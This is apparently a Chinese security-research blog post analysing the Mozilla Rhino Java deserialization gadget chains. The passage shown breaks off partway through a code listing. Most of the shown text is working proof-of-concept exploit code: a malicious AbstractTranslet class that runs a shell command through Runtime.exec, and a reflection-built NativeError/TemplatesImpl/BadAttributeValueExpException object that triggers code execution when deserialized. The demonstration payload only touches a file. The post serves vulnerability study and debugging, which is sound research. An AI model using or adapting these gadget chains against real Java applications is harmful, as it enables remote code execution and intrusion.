标题: MozillaRhino反序列化利用链
☆ 前言
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
10.1.0) JacksonExploit.java
10.1.1) NativeErrorExec.java
10.1.2) 简化版调用关系
10.1.3) NativeErrorExec2.java
10.1.4) 调试器对被调试进程的挠动
10.1.5) ysoserial.payloads.MozillaRhino1
10.2) org.mozilla.javascript.NativeJavaObject
10.2.1) NativeJavaObjectExec.java
10.2.2) 简化版调用关系
10.2.3) ysoserial.payloads.MozillaRhino2
10.2.4) NativeJavaObjectExec6.java
10.2.5) CVE-2019-6980(Zimbra)
☆ 参考资源
☆ 前言
本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。
基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之展开动态调试。
最佳入手方式是,先把PoC跑通,然后打个断点:
stop in java.lang.Runtime.exec(java.lang.String[])
最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再次看到它,重读了一遍,这次懂了,学习之路不易。
PoC用到如下库:
js-1.7R2.jar
js-1.6R7.jar
10.1.0) JacksonExploit.java
同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。
/*
* javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java
*
* 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file"
*
* warning: AbstractTranslet is internal proprietary API and may be removed in a future release
*/
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* 必须是public,否则不能成功执行命令
*/
public class JacksonExploit extends AbstractTranslet{
/*
* 必须是public
*/
public JacksonExploit (){
try
{
System.out.println( "scz is here" );
Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } );
}
catch ( IOException e )
{
e.printStackTrace();
}
}
/*
* 必须重载这两个抽象方法,否则编译时报错
*/
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ){
}
@Override
public void transform ( DOM document, SerializationHandler[] handler ){
}
}
10.1.1) NativeErrorExec.java
/*
* javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java
*/
import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
public class NativeErrorExec{
/*
* 参看TemplatesImplExec.java
*/
private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception{
byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
TemplatesImpl ti = new TemplatesImpl();
/*
* 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
* _bytecodes得到执行,中途就会抛异常。
*/
Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
_bytecodes.setAccessible( true );
_bytecodes.set( ti, new byte[][] { evilbyte } );
Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" );
_tfactory.setAccessible( true );
_tfactory.set( ti, new TransformerFactoryImpl() );
Field _name = TemplatesImpl.class.getDeclaredField( "_name" );
_name.setAccessible( true );
/*
* 第二形参可以是任意字符串,比如空串,但不能是null
*/
_name.set( ti, "" );
return( ti );
} /* end of getTemplatesImpl */
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception{
/*
* 不是public类,没法import
*/
Class clz_NativeError = Class.forName( "org.mozilla.javascript.NativeError" );
Constructor cons_NativeError = clz_NativeError.getDeclaredConstructor();
cons_NativeError.setAccessible( true );
/*
* NativeError实例
*/
ScriptableObject ne = ( ScriptableObject )cons_NativeError.newInstance();
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 设置
*
* org.mozilla.javascript.MemberBox.memberObject
* org.mozilla.javascript.NativeJavaMethod.methods[0]
* org.mozilla.javascript.NativeJavaMethod.functionName
*/
NativeJavaMethod njm_enter = new NativeJavaMethod( m_enter, "name" );
/*
* 用njm_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*
* 这次只是占坑,后面会用mb_enter替换掉njm_enter
*/
ne.setGetterOrSetter( "name", 0, njm_enter, false );
/*
* private方法,不能直接调用
*/
Method m_getSlot = ScriptableObject.class.getDeclaredMethod
(
"getSlot",
String.class,
int.class,
int.class
);
m_getSlot.setAccessible( true );
/*
* SLOT_QUERY = 1
*/
Object slot = m_getSlot.invoke( ne, "name", 0, 1 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*/
f_getter.set( slot, mb_enter );
Method m_newTransformer = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
NativeJavaMethod njm_newTransformer = new NativeJavaMethod( m_newTransformer, "message" );
/*
* 用njm_newTransformer设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"message"
*
* 注意存在
*
* org.mozilla.javascript.ScriptableObject.slots[]
*
* 第一形参name不同,对应不同的slot
*/
ne.setGetterOrSetter( "message", 0, njm_newTransformer, false );
TemplatesImpl ti = getTemplatesImpl( evilclass );
Context context = Context.enter();
/*
* 参看
*
* org.mozilla.javascript.ScriptRuntime.initStandardObjects()
*
* 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
*/
NativeObject no = ( NativeObject )context.initStandardObjects();
NativeJavaObject njo = new NativeJavaObject( no, ti, TemplatesImpl.class );
/*
* 用njo设置
*
* org.mozilla.javascript.ScriptableObject.prototypeObject
*/
ne.setPrototype( njo );
BadAttributeValueExpException
bave = new BadAttributeValueExpException( null );
Field f_val = bave.getClass().getDeclaredField( "val" );
f_val.setAccessible( true );
f_val.set( bave, ne );
return( bave );
} /* end of getObject */
public static void main ( String[] argv ) throws Exception{
String